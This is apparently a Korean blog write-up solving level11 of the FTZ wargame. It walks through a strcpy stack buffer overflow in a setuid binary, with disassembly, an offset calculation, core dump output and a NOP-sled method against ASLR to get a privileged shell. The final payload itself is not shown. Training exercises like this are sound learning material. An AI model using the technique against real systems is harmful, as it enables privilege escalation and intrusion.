ipwn

[FTZ(Free Training Zone)] level11 -> level12 본문

Write up/FTZ

[FTZ(Free Training Zone)] level11 -> level12

ipwn 2018. 2. 6. 23:44

이번에 풀 wargame은 FTZ이다.


사실 이전에 썼어야 했는데 하다보니 그냥저냥 Lord Of Bufferoveflow로 바로 넘어가버려서 이제야 쓴다.


이전 level들은 trainer level에서 배운 내용을 복습하는 느낌이기에 바로 level11부터 시작하도록 하겠다.


일단 FTZ의 환경은 기본적으로 LOB와 다르게 ASLR이 걸려있다.


즉 메모리 일부 값들이 프로그램 매 실행시마다 어지럽게 바뀔 것이다.


일단 접속을 해보도록 하겠다.


ID : level11


PASSWORD : what!@#$?

[level11@ftz level11]$ ls -l
total 28
-rwsr-x---    1 level12  level11     13733 Mar  8  2003 attackme
-rw-r-----    1 root     level11       168 Mar  8  2003 hint
drwxr-xr-x    2 root     level11      4096 Feb 24  2002 public_html
drwxrwxr-x    2 root     level11      4096 Feb  4 21:35 tmp
[level11@ftz level11]$



이렇게 처음에는 attackme파일과 hint파일 그리고 public_html디렉토리가 있을 것이다.


(tmp는 core파일을 만들기 위해, 또 attackme파일을 디버깅하기 위해 만들어주는 폴더이다.)


일단 가장먼저 hint파일을 열어서 소스코드를 확인해보겠다.


#include <stdio.h>
#include <stdlib.h>
 
int main( int argc, char *argv[] )
{
    char str[256];
 
     setreuid( 30923092 );
    strcpy( str, argv[1] );
    printf( str );
}



간단한 bof문제이다.


str의 범위가 제한받지 않고 복사되기에 ret을 덮을 수 있다.


메모리값은 | str[256] | dummy(??) | sfp(4) | ret(4) |의 형식으로 되어 있을 것이다.


한 번 str과 sfp사이의 dummy가 얼마나 있을지 한 번 알아보겠다.


[level11@ftz level11]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048470 <main+0>:    push   ebp
0x08048471 <main+1>:    mov    ebp,esp
0x08048473 <main+3>:    sub    esp,0x108
0x08048479 <main+9>:    sub    esp,0x8
0x0804847c <main+12>:    push   0xc14
0x08048481 <main+17>:    push   0xc14
0x08048486 <main+22>:    call   0x804834c <setreuid>
0x0804848b <main+27>:    add    esp,0x10
0x0804848e <main+30>:    sub    esp,0x8
0x08048491 <main+33>:    mov    eax,DWORD PTR [ebp+12]
0x08048494 <main+36>:    add    eax,0x4
0x08048497 <main+39>:    push   DWORD PTR [eax]
0x08048499 <main+41>:    lea    eax,[ebp-264]
0x0804849f <main+47>:    push   eax
0x080484a0 <main+48>:    call   0x804835c <strcpy>
0x080484a5 <main+53>:    add    esp,0x10
0x080484a8 <main+56>:    sub    esp,0xc
0x080484ab <main+59>:    lea    eax,[ebp-264]
0x080484b1 <main+65>:    push   eax
0x080484b2 <main+66>:    call   0x804833c <printf>
0x080484b7 <main+71>:    add    esp,0x10
0x080484ba <main+74>:    leave  
0x080484bb <main+75>:    ret    
0x080484bc <main+76>:    nop    
0x080484bd <main+77>:    nop    
0x080484be <main+78>:    nop    
0x080484bf <main+79>:    nop 


코드를 보면 알 수 있듯이 strcpy의 인자로 ebp-264 가 넘겨지는 것을 알 수 있다.


그러므로 sfp와 str사이의 dummy값은 8byte가 섞여들어가 있다는 말이 된다.


즉 264byte + 4byte를 덮어서 sfp까지 완벽히 덮어준 후 ret을 변조한다면, shell을 가져올 수 있을 것이다.


FTZ의 환경은 ASLR이 걸려있기 때문에, 정확한 shell code의 주소를 알 수 없으므로 nopsled를 이용해야만 한다.


이제 한 번 값을 넘겨주고 core dump를 가져오겠다.


그러기 위해서 일단 tmp 디렉토리에 attackme를 cp해서 값을 넘겨주도록 하겠다.


일단 str ~ sfp값을 전부 A로 덮고 ret은 B로 그 뒤는 nop과 shellcode로 덮어주었다.


한 번 core dump를 이용해 메모리값을 보도록 하겠다.


[level11@ftz tmp]$ gdb -q -c core.11975
Core was generated by `./attackme AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()
(gdb) x/24x $esp-0x70 
0xbfffe7e0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe7f0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe800:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe810:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe820:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe830:    0x41414141    0x41414141    0x41414141    0x41414141
(gdb) 
0xbfffe840:    0x41414141    0x41414141    0x41414141    0x42424242
0xbfffe850:    0x90909090    0x90909090    0x90909090    0x90909090
0xbfffe860:    0x90909090    0x90909090    0x90909090    0x90909090
0xbfffe870:    0x90909090    0x90909090    0x90909090    0x90909090
0xbfffe880:    0x90909090    0x90909090    0x90909090    0x90909090
0xbfffe890:    0x90909090    0x90909090    0x90909090    0x90909090
(gdb) 
0xbfffe8a0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbfffe8b0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbfffe8c0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbfffe8d0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbfffe8e0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbfffe8f0:    0x90909090    0x90909090    0x90909090    0x90909090
(gdb) 
 



보면 eip가 BBBB의 값으로 변조된 것을 확인할 수 있다.


그리고 nop가 2000개 들어있으므로, ASLR로 위치가 바뀌어도 대충 어느 부분의 nop을 위치할 것이므로 


중간부분 쯤의 nop주소를 BBBB값 대신 넘겨주도록 하겠다.



보면 이렇게 많아도 20번 내외로 shell이 가져와지는 것을 확인할 수 있다.


이제 원본 파일에 payload를 넘겨주고 권한이 상승한 shell을 가져오겠다.



이렇게 shell을 가져올 수 있었다.


NEXT LEVEL ID : level12


NEXT LEVEL PW : it is like this


'Write up > FTZ' 카테고리의 다른 글

[FTZ(Free Training Zone)] level12 -> level13  (0) 2018.02.22
Comments